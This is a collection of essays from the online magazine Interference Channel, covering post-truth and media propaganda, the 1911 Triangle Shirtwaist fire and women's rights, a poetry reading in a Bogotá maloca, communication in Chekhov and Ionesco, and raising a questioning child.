Esta idea es aparentemente atractiva pero es una falacia. En tiempos anteriores los políticos, editores y periodistas mentían y escondían verdades para satisfacer los intereses de los poderes económicos más poderosos. No solo escondían y argumentaban falazmente sino además mentían explícitamente. Cuando el golpe de estado en Chile 1973 muchas cadenas decidieron no transmitir lo que sucedía porque estaban alineados con Augusto Pinochet, así mismo en la segunda guerra mundial los aliados tenían prohibido contar la verdadera cifra de muertos o la cantidad de batallas perdidas. En la revolución Cubana era difícil distinguir la prensa libre de la propaganda, y claro la Epitome de la ironía global frente a esta situación es Pravda –que en ruso significa “la verdad”- era un periódico que paso de manos liberales cercanas al imperio de los Romanof a manos Sovieticas, en ambos casos fue evidente como “la verdad” solo se encargo de proteger al imperio de los Romanof y luego al Estalinismo, para Pravda no había gulag, no había muertos, no había torturas. El concepto de Posverdad es nuevo como concepto pero muy antiguo como ejercicio.

A veces escucho a mis colegas de los diarios grandes en Colombia como El Tiempo o El Espectador hablar con cierta moral sobre este mundo de Posverdades, pienso como no se preguntan cómo se deciden las miradas editoriales de estos diarios en que trabajan. Cuando uno busca palabras tendenciosas como palabras de connotación sexual para llamar la atención de los lectores, cuando uno malinterpreta una versión para hacerse escuchar, cuando uno cubre de manera simplista y sin profundidad, falta a la verdad y a la ética. Eso es lo más común en la mayoría de periodistas. Digamos que los que trabajan para la publicidad lo hacen de manera menos hipócrita, en la publicidad el concepto de verdad no existe, existe el concepto de engaño, me divierte como se relamen encontrando eufemismos al arte de decir mentiras.

Engagement dicen, marketing y así. Nadie quiere aceptar esa doble contradicción de nuestra moral cristiana moderna: mentir es malo nos dicen de chicos, pero engañar una audiencia es necesario, mentir a los electores, es necesario, mentir a los lectores, es inevitable.

Esto nos lleva al siguiente lugar sobre la Posverdad, Tesich es muy claro en su ensayo y la pertinencia de traer a colación este concepto, dice Tesich que el espectro de información actual está en manos equivocadas, que los que dirigen los medios son realmente los empresarios, los moguls como Murdoch.

Yo creo que el surgimiento de este término y la guerra que los liberales del mundo le estamos haciendo a los totalitaristas tiene que ver más con el sentimiento de que el cinismo de hoy ya cruzo una línea roja de peligro. Si un medio puede mentir sobre lo que sabe, es grave, si esconde la verdad es lamentable, pero el hecho de que una nación como Rusia pueda intervenir en una cantidad alarmante de electores Norteamericanos con el cinismo mas grande, habla del estado real critico del concepto de información y libertad de expresión. El hecho de que el plebiscito se haya manipulado para hacer pensar a la gente que era lo opuesto a lo que en efecto proponía, es gravísimo, es la caída de un sistema de valores y pone básicamente en crisis la democracia.

Estamos en un momento crítico para las democracias modernas, si los políticos llegan al poder por su capacidad de “mercadearse”, de mentir a un electorado, las cosas han cruzado a un punto que puede ser peligroso. La reestructura de la democracia se hace pertinente si el sistema actual produce resultados peligrosos para las garantías mínimas de democracia. Lo que quiero decir es que el surgimiento de la manipulación frontal puede traernos monstruos que creímos desterrar hace más de setenta años. Si la sociedad en su conjunto no comienza un ejercicio de reflexión hondo acerca de estas cosas, estaremos a la deriva de los más hábiles en la era de la Posverdad: aquellos que mejor sepan mentir.

Tesich utiliza de maneras complejas el término a decir verdad, y el uso de Tesich es incluso diferente del que actualmente escuchamos en los contextos en que este término surge. Un ejemplo de esto es de qué creemos que hablamos cuando hablamos de Posverdad: muy probablemente pensamos en campañas de mentiras para  elegir a un político, en trolls, en replicadores sociales pagados, en una cantidad finita de elementos que parecen ser el mismo: opinión que parece opinión pero que no lo es, publicidad que no quiere verse como publicidad; que quiere verse como opinión o incluso algo más infame e interesante: publicidad que quiere verse como Crítica. Los medios de comunicación siempre han tenido dueño, incluso en países socialistas donde el dueño es el Estado, el verdadero dueño termina siendo la propaganda del estado, o el gobierno de turno. Pravda no era el periódico de los sovieticos, era el periódico del gobierno soviético, el tratamiento que de la “verdad” hacía Pravda, es el tratamiento de la verdad que le convenía al gobierno. Así mismo el tratamiento de la Verdad que hacen los medios es el tratamiento de la Verdad que gusta a los propietarios de esos medios. Hay cosas que son evidentes sin embargo es importante decirlas, porque a veces hacemos como que no son lo que son y comenzamos con eso que en el periodismo llamamos autocensura y en otros campos es llamado simplemente estupidez.

Si llamamos Posverdad a la instrumentalización, exageración y desviación de la información la Posverdad ha existido durante milenios.

Yo creo que más bien el término se está usando como un descargo de la Prensa liberal (que igual tiene editores, dueños y cerebros que eligen que es verdad y que no) contra esos nuevos actores que el mundo digital permite surgir; organizaciones como Cambridge Analytica, organizaciones como Wikileaks etc. El problema de la sociedad contemporánea es que cada vez más actores tienen la posibilidad de hacer lo que antes solo los grandes ricos, las iglesias y los dueños de la prensa podían hacer. Que es en efecto administrar la verdad, o mentir infamemente para proteger intereses o destruir adversarios. La única vía de escape a un sistema de información viciado y lleno de trampas es una profunda educación crítica. De nada sirve que los medios Liberales se lamenten o inventen “detectores de mentiras”, el mentiroso siempre lleva ventajas. Solo una audiencia educada, crítica y altísimamente intelectual puede evidenciar a estos mentirosos y a sus falacias, puede des-cubrir el verdadero propósito de un texto, de una opinión o de una publicidad. Los medios tradicionales hablando de Posverdad con publicidad en sus redes, en sus publireportajes o en sus impresiones o en su junta directiva, son la epitome de la paradoja; son el gran Pinocho hablando de mentiras.

El juego político  ha sido siempre dominado por la falacia, atrás de la política, el verdadero complot nunca se resuelve. Somos pésimos observadores, no sabemos observar la realidad, menos sabemos entender lo que no es real.

La educación crítica y la reflexión permanente puede que sean la única salida a esta paradoja.♦

Diego Aretz es fundador y editor de Interference Channel.

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¿Y si no se hubieran quemado? http://interferencechannel.com/2017/03/08/y-si-no-se-hubieran-quemado/ Wed, 08 Mar 2017 15:54:19 +0000 http://interferencechannel.com/?p=1820 + Read More]]> 1911. Marzo. La empresa Triangle Shirtwaist Company cuenta con casi medio millar de inmigrantes, personas que llegaron a New York como mano de obra con la esperanza de una vida estable fundada en el trabajo y la familia: el sueño americano.

Es sábado. La jornada laboral está por terminar. En los cestos llenos de tela empieza a salir humo y un fuego hambriento devora todo a su paso. Las alarmas suenan tarde o no lo hacen, las salidas de emergencia están bloqueadas para evitar cualquier intento de escape del trabajo. Hay quienes logran huir, de resto, el humo deja inconsciente a un grupo de cuerpos que se cocen hasta convertirse en carbón; quizá no sufrieron, ya eran cadáveres cuando el incendio las consumió.

Este desastre apenas sería recordado de no ser por un detalle: hubo 123 víctimas mortales, todas ellas mujeres, inmigrantes italianas y judías, trabajadoras de clase baja norteamericana. Ese accidente se convirtió en la punta de lanza de la lucha por los Derechos de la Mujer en su rol como ser humano y como trabajadora.

 

Cuerpos de las mujeres víctimas del incendio de 1911. (Imagen: http://chrismielost.blogspot.com.co/2011/03/historia-del-dia-internacional-de-la.html)

Pero, ¿y si no se hubieran quemado? Durante años pidieron un mejor trato y una consideración real en los temas de mayor interés: política, dinero, trabajo y negocios, ¿pero qué obtuvieron? Reconocimiento de su condición, “sí, están mal, no es aceptable vivir así”, “tranquilas, juntos construiremos un mundo equitativo”. Las frases fueron espaldarazos y nada más, palabras sin intención, vacío sobre vacío. La sangre de las 123 se evaporó sin lograr algo en verdad significativo.

Su lucha sigue: hacen más pero ganan menos, aportan tanto esfuerzo como los hombres pero tienen menos oportunidades de acceder a cargos gerenciales. Ganaron la pelea por la reducción de su horario laboral, pero ahora trabajan más, obtuvieron el derecho al voto, pero las elecciones parecen arregladas desde siempre. En general, son un objeto alrededor del planeta, incluso la ropa es un estigma que las vuelve débiles, no hay nada tan peligroso como caminar con una falda a solas, de noche por una calle oscura.

Se les viola, empala o remueve el clítoris sin mayor problema. ¿Dónde quedan los restos de esas ablaciones? ¿En qué restaurante se sirven esas piezas de carne? Somos una sociedad caníbal que odia lo que come, pero no puede resistirse a ese manjar, lo devora hasta dejar solo las sobras. Para nosotros, una mujer es un objeto remplazable, una raja donde metemos nuestros falos.

¿En qué receta podemos encontrar la cantidad de sangre requerida para generar un cambio verdadero? ¿Cuántas faltan por morir para cambiar nuestra forma de pensar? Quizá podamos ofrecer a nuestras madres como sacrificio, al fin y al cabo, también son mujeres.

Incluso quien escribe este artículo es un hombre que ha odiado y maltratado, quizá pase todos sus días a la búsqueda de la redención, pero no puede deshacer el camino recorrido, se sabe culpable de sus crímenes. Lo lamenta, pero intenta hacer algo más allá de esconderse entre sus quejas, así no sea fácil.

Esta es solo una opinión, ¡qué lástima que no pueda ir más allá y ser una solución aplicable!

Este texto es para todas ustedes, mujeres. El camino no es fácil, ¡pero ustedes son las más valientes!♦

 

@Milliares

 

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Maloca por Jorge Aristizábal Gáfaro http://interferencechannel.com/2016/05/06/maloka-por-jorge-aristizabal-gafaro/ Fri, 06 May 2016 17:42:22 +0000 http://interferencechannel.com/?p=1567 + Read More]]> I

Una maloca es mi trasbordador.

En lo profundo de la noche, en el punto más intrincado de la selva, he ocupado mi lugar con mis hermanos, en torno del abuelo fuego, para sumergirme en las regiones más lejanas de mi yo y en las más próximas de la vía láctea.

A una maloca he llegado acosado por los apocalípticos jinetes: miedo, culpa, tristeza y rabia.

Y de ellos, en el círculo del fuego, he dejado en cenizas los penachos y en pedazos las espadas.

Una maloca es mi detector de venenos y metralla: a ella entro, me exorcizo en su centrífuga y salgo convertido en lo que quiero ser.

En una maloca hago de mis fantasmas duendes.

En una maloca puedo mirarme por encima de mi ego.

A una maloca he ido a morir cientos de veces para las mismas veces de la maloca ser nacido.

II

El sábado fui a una maloca. En el Jardín de la ciudad a 2600 metros de la espuma.

En lo oscuro de la noche, tomé mi lugar frente al abuelo fuego rodeado por personas de todas las edades, colores, procedencias.

Lilia Gutiérrez Riveros, la química y bióloga, premio mundial de ecopoesía y autora de Sinfonía del orbe, nos dio la bienvenida y, con la humildad signo de sabios, nos presentó a los otros seis.

Y entonces Martha Elena Hoyos con la luz de Mayra riéndole en los ojos, su tambor para llamar espíritus y su cascabel de poder emplumado, le dio voz al aire para honrar la tierra, armonizar los puntos cardinales y pedir que los hermanos de la selva amazónica nos consagraran en el vientre de su casa.

Y luego vi a Carlos Aguasaco, en la oscuridad, apenas bruñido por las ascuas, rodeado de dioses, zipas y tierras de esmeraldinos nombres: Bochica, Teusacá, Tisquesusa, Sogamoso, Nemqueteba, Tequendama.

Y en las corrientes que agitó la sibilina, vi a Carlos Aguasaco oficiando para que otros abuelos vinieran a nosotros con su verdad en quechua y nos llevaran a otros espacios y momentos del pasado y del futuro de nuestro continente.

Y vi a Carlos decir:

Sangre, sangrecita

Cada sorbo de tu boca

Como una herida en el vientre

Me aterra.

Y vi a los abuelos proferir en las gargantas de los míos:

Yahuar yahuarcha.

Y vi a Carlos decir:

Cuando se acabe el llanto

Me quedará este tambor

Para llorar con las manos

Y vi a los abuelos proferir en las gargantas de los míos:

Wacate Tinya.

Y luego, mientras aplaudíamos, alcé la mirada en la columna de humo y vi que a Carlos Aguasaco lo custodia Nencatacoa, el dios de los ensueños.

Y cuando el silencio se hizo, de las sombras vino la poderosa voz de Julián Chica para decirnos en las líneas de “Yarumos”:

Sobrevivimos

En resquicios altaneros

De algún ave misteriosa

Que ha escapado de la niebla

(…)

Sobrevivimos

Y no sabemos cómo.

Y luego vi a Viviana Barberena, la rectora del jardín, resignada como otros a espiar desde afuera lo que ocurría en la maloca abarrotada, unánime de atónitas miradas y alientos en suspenso porque Elizabeth Lara, hiperbórea y con su acento neoyorkino, nos hundía en su “Spelunking”:

Deep inside the cave

blind river fish swim slowly

through rippling water

 

Stalactites live here

give icy consolation

precipitous drop

 

Inside the cavern

what holds me in place is stone

nothing green survives

 

If my lamp burns out

beneath the bat-lined ceiling

will I turn to light?

Y luego vi a Juan Armando Rojas Joo, descendiente de fénix y de águilas, que es de todas partes y que con su voz paradojal que llama al llanto al tiempo que al augurio, nos decía:

Vas a volver despacio cada noche

Vendrás entre siluetas y misterios

Darás tu nombre a esta espada o perderá el metal su brillo

Vas a volver lo sé vas a volver

Como la estatua que regresa en la mañana

Por el andén cristalizado del invierno

Y luego vi a Carolina Zamudio, luminosa entre las sombras, recitar con fulgores de plata en las palabras y oscilando entre la felicidad y la nostalgia:

Uno mira al espejo en mis ojos

De un pardo más ocre que verdoso

Asomando enigmático por los párpados caídos

De otro muerto

Que vive en mí

Hasta que la muerte nos separe

III

Y cuando todo acabó fue como si comenzara. Porque de ese lugar de la verdad que es la voz de los poetas, quienes estábamos allí, personas de todas las edades, colores, procedencias, salimos con la dicha y levedad de quien acaba de nadar el Amazonas, el Hudson, el Yangtsé, el Nilo y todos los ríos de la Tierra.

Jóvenes, mayores y niños seguiríamos ebrios de la gracia de Lilia, de Martha Elena, de Carlos, de Julián, de Elizabeth, de Juan Armando y de Carolina.

Yo vi miradas de quien regresa de remotos universos. Yo vi sonrisas de amaneceres de ayahuasca. Yo vi que los poetas nos trajeron salud y buena pinta. Yo vi que en la maloca los viajeros se hicieron astronautas. Yo vi que la poesía hizo de la maloca un bajel celeste. Yo vi que en la maloca se hizo poesía sin fronteras.

Bogotá, 3 de mayo de 2016

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Giraldo and the Art of Communication http://interferencechannel.com/2016/05/01/giraldo-and-the-art-of-communication/ Sun, 01 May 2016 19:24:37 +0000 http://interferencechannel.com/?p=1549 + Read More]]> 13101407_10154188302449612_443339774_n

“Here’s that crazy clock again. It’s been striking willy-nilly all throughout the play, but now it’s just doing whatever it wants. It seems like time has gone totally haywire by this point in the play. This is yet another clue that the idea of a linear progression of time just doesn’t apply to the world …”

Ionesco. The Bald Soprano. 143.

“MRS. SMITH: Krishnamurti, Krishnamurti, Krishnamurti! MR. SMITH: The pope elopes! The pope’s got no horoscope. The horoscope’s bespoke.

MRS. MARTIN: Bazaar, Balzac, bazooka!

  1. MARTIN: Bizarre, beaux-arts, brassieres!

MRS. SMITH: a,e,i,o,u,a,e,i,o,u, a,e,i,o,u, i!“

Ionesco. The Bald Soprano 141.

When I was ten years old, my parents took me on a trip to Tuscany, Italy. All I can remember of this trip is sitting on my dad’s lap driving the jeep we had rented, and an Italian man with the name of Giraldo. We met Giraldo right after we got stuck in the dirt. I had not been driving. There was no way we would get out of this dirt without any kind of Italian help. So we got out of our car and started walking back down the road. Not far from our car we encountered two horses – and Giraldo. He was in complete control of his animals shouting avanti, wearing his long, green and muddy boots and his big hat. For a very long time I tried to figure out how, without knowing each other’s languages, my parents could not only manage to tell him what was going on with our car, but also maintain a strong friendship with him. Not until I read the works of Russian writer Anton Chekov I could understand the essentials of communication that Giraldo and my parents embodied that day. Chekov’s stories are told in a very slow and descriptive style. The reader does not get to know the characters by their words, but rather by the description of their way of being, their movements, and their facial expressions.

I remember reading a story that dealed with a man falling in love with a woman and her little dog that he met on the street. When the woman started talking to the man, all of what the man could observe of that woman was the way she moved her lips and eyes and hands while talking. In Chekov’s view, facial expressions and gestures can reveal so much about a person and enables us to understand the other in a much more precise manner. However, it is only when one takes one‘s time that one is able to really understand the other. That is how communication between my parents and Giraldo worked. They met in the middle of nowhere, listened and observed each other without any rush.

Nowadays, the ability to communicate to the other gets lost because of a loss of time and the ability to observe. People of today exchange billions of words in mili-seconds by digital mediums where facial expressions and gestures do no longer play a role. As Ionesco displays it in his story “The bald soprano”, people drown in meaningless words due to their hunger for communication. Words are being transmitted by a greater amount and by a greater speed than never before. This leads to an emptying of meaning in between the lines. Words become mere cascades of vowels or simply noices. We are already in midst of this process as people place discursive markers (“and I was like….”) in their sentences and leave out articles and prepositions (Ich geh’ Kino instead of Ich geh ins Kino). There is no time and there is no observation in a world of cell-phone staring Internet people that refresh their page every 20 seconds. Arrivederci Giraldo.♦

*Phillipp Steul is a literature critic for Interference Channel, he lives in Germany.

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La normalidad de lo contemporáneo http://interferencechannel.com/2015/10/10/la-normalidad-de-lo-contemporaneo/ Sat, 10 Oct 2015 03:55:40 +0000 http://www.interferencechannel.com/?p=1296 + Read More]]>

Los padres la tenemos complicada hoy día, cuando yo nací, hace más de cuarenta años la normalidad era una cosa tácita, creces, estudias, te casas, tienes hijos, nietos, te mueres y hasta allí la historia, eran tiempos en que una licenciatura era percibida como una gran hazaña y las cuestiones “incómodas” no eran muy discutidas que digamos, además no existía ni el internet, ni la televisión por cable, lo que suponía una cierta libertad por parte de los padres para que sus hijos se formasen ajenos a esas otras realidades.

Hoy el asunto cambia, mi hija desde los ocho años ha comenzado  a hacer preguntas que ni su madre ni yo nos hubiésemos atrevido a hacer jamás a los mayores, por ejemplo, una mañana llegó con una citación por parte de su maestra, como tengo por costumbre evaluar bien los hechos antes de comenzar con eso de los regaños, preferí ir directo a hablar con la docente e informarme a fondo de la conducta de mi hija, resulta que todo el lío fue porque ni su maestra ni la directora del colegio (una monja pues es un colegio religioso) pudieron explicarle a la niña el origen de Dios, la niña muy lógicamente pensó que si el espíritu santo creó el cielo, la tierra, la luna, el espacio y toda la vida, debió haber tenido alguien que lo crease.

Nadie en esa escuela estaba preparado para responder tal pregunta, de hecho me costó un par de noches de investigación para poder darle una respuesta coherente que llenase sus expectativas. Afortunadamente soy divorciado de su madre, de otra el asunto hubiese sido más complicado ya que ella si es católica practicante, por tanto también entró en crisis con la “locuacidad” de la niña.

Esa fue una muestra, igual me ha tocado hablar de las drogas, el alcohol, la homosexualidad, el matrimonio igualitario, la transexualidad, religión, la creación, la adopción, mitología griega y latina con sus diferencias, el bien y el mal, el fundamentalismo islámico,  además de un sinfín de temas que se le ocurren cada día.

Lo normal ha cambiado, ya (afortunadamente) el mundo está perdiendo los tapujos, está exhibiendo en la vitrina de los medios sus particularidades sin que a nadie levante la ceja, por tanto toca ver el universo desde una perspectiva diferente, más abierto a la existencia de otras cosas , evitando de paso la natural molestia ante las diferencias. Claro, también toca hacer respetar las opciones de cada quien, así evitamos esa tan incómoda sensación de no soportar a tu vecino pero por un asunto de ser “políticamente correcto” jamás decir nada. Siempre pienso que la gente tiene derecho a decir lo que no le agrada, si no decirlo cuando menos no estar obligados a tener cerca la gente o las situaciones que por alguna razón no están dentro de los parámetros del gusto personal.

Si a mí no me agrada cierto y determinado grupo social (como los travestis por ejemplo) no quiere decir que soy mala persona, si no me gustan las gordas como objeto erótico no necesariamente soy su enemigo, aunque por supuesto hay excepciones, tampoco voy a sacar un alumno de mi clase por su preferencia sexual, religión, color de piel o inclinación política, sin embargo si su inteligencia deja mucho que desear me siento en todo mi derecho de señalarlo, con buenas maneras por supuesto pero en ningún caso tragarme las babosadas de muchos en pro de las buenas maneras, aunque debo confesar que el precio de mis ideas ha sido alto ya que he perdido hasta amores muy queridos, tengo la impresión de que en el momento que dejemos las hipocresías de lado y aceptemos que las diferencias existen, que lo importante al final no son las poses si no las ideas bien fundamentadas, donde lo “normal” solo existe en la mente de cada uno, la verdad es que las diferencias son las que nos acercan pero las ideas nos fortalecen, el mundo será un mundo un poco menos caótico.

Esa ha sido mi tarea con respecto a la crianza, hacer ver a mi hija que todos tenemos cabida pero que solamente el universo del intelecto es el que nos hace mejores personas, siempre y cuando no lastimemos de ninguna manera al prójimo ni le señalemos con el dedo por su estilo de vida, mientras ese prójimo no nos lastime ni lo haga a terceros, no pasa nada, todo es normal, la vida continua y el futuro nos espera♦.

José Ramón Briceño, 2015

@jbdiwancomeback

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